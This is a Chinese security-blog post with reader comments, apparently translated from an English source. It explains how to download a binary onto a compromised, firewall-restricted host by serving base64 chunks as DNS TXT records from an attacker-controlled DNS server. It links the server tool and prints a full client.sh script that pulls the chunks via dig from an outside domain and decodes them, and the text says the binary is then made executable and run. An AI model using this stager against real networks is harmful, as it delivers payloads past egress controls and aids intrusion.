通过dns进行文件下载

我是壮丁 2014-03-31 11:07:00

0x00 背景


偶尔会遇到这样的情况,防火墙规则极大的限制外网的访问(这种情况经常是一个白名单来处理,仅仅允许少量的主机和外网产生连接)想要下载一下二进制文件到目标主机上,就会很麻烦。

我们来假设这样的一个情景:你已经拥有在上述情况下的主机、需要和你的本机传输工具或者数据。在这个情景下面、你被限制了下载,有一个好办法来突破这种限制,那就是通过DNS查询的来获得想要的数据。

如果目标机器的设定的DNS(或者任何只要目标主机能够在网络上访问的DNS服务器)能够在网络上做DNS查询。那就能够下载想要的二进制文件。

0x02 原理


不了解这项技术的人可能以为是下面这样的流程:

目标主机<---->网络上的DNS服务器<---->注册域名服务器<---->攻击者的远端主机

其实是这样的流程:

目标主机<---->构建的DNS服务器

只要目标主机能够和搭建的DNS服务器进行DNS解析就可以实现。

方法就是在服务端通过base64来编码这些特殊文件,对编码后的文件分块,同时添加到DNS Server的记录中,然后在目标主机上进行域名的解析请求,DNS服务器返回base64编码,在对base64编码进行解码,这样就实现了文件下载。

0x03 实现


使用方法:

1对需要运行server.py脚本的服务器进行配置
2在服务器上执行python server.py -f fielname
3在客户端上运行sh client.sh dns.testdomain.com
4这时你应该看到client和server开始产生base64的调试输出client会把base64的编码写到本地文件中同时在结束传输时解码

0x03a Python代码导入了几个库,这些库可能需要单独安装:

dns和argparse,在安装argparse的时候可能会报错,根据报错安装所需的库,即可正常运行server.py

PS:在https://pypi.python.org/ 能够下载到

server.py有三个参数:

-f  指定需要分割的二进制文件
-q  静默模式,不在终端上输出日志信息
-s  指定开始的dns解析的子域,必须设置成一个数字client.sh中的i,必须和-s指定的一样。默认是0

0x03b 在server上运行server.py,创建DNS服务器,a.out是一个二进制文件。

在目标主机上运行

0x03c sh client.sh domain

会产生以下输出

0x03d 脚本会对接受的base64的编码进行解码,添加执行权限后就可执行,执行二进制文件。

0x04 源码


server.py下载地址

https://github.com/breenmachine/dnsftp

client.sh脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/bin/bash
error=';; connection timed out; no servers could be reached'
i=0
echo ''> output.b64
while :
do
  RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`
  if [ "$RESP" = "$error" ];
  then
    echo "Timeout - done"
    break
  fi
  echo -ne $RESP >> output.b64
  echo $RESP
  i=$((i+1))
done
cat output.b64 | base64 -d >> output

文件打包下载:dnsftp-master.zip

翻译出处:

http://breenmachine.blogspot.com/2014/03/downloading-files-through-recursive-dns.html

评论

皮皮虾 2014-03-31 11:24:08

你大爷的,取个这名字,,,,卖队友

I

iskit 2014-03-31 16:26:01

不是什么新东西http://www.aldeid.com/wiki/File-transfer-via-DNS

瞌睡龙 2014-03-31 18:28:41

招不在新,有用则行 :)

我是壮丁 2014-03-31 20:05:47

确实不是新东西,不过有用就可以了

T

tmp 2014-03-31 22:10:05

base64 -d output

T

tmp 2014-03-31 22:12:00

1==
base64 -d 1 output.b64 2 output

T

tmp 2014-03-31 22:12:59

1 ==
base64 -d 1 output.b64 2 output
回复会被过滤掉符号......

T

tmp 2014-03-31 22:14:53

base64 -d ( output.b64 ) output
左右箭头会被过滤... 用 () 表示 读入输出

我是壮丁 2014-04-01 13:36:37

少打了。。。。,应该是追加的。。。

T

test 2014-04-02 09:15:59

该程序有bug XD

我是壮丁 2014-04-02 17:56:57

bug在哪里啊,求指点

小贱人 2014-04-14 13:33:13

mark

紫霞仙子 2016-01-04 10:40:40

你屌爆了!

我是壮丁

专业打酱油

twitter weibo github wechat

随机分类

其他 文章:95 篇
木马与病毒 文章:125 篇
安全开发 文章:83 篇
软件安全 文章:17 篇
Web安全 文章:248 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录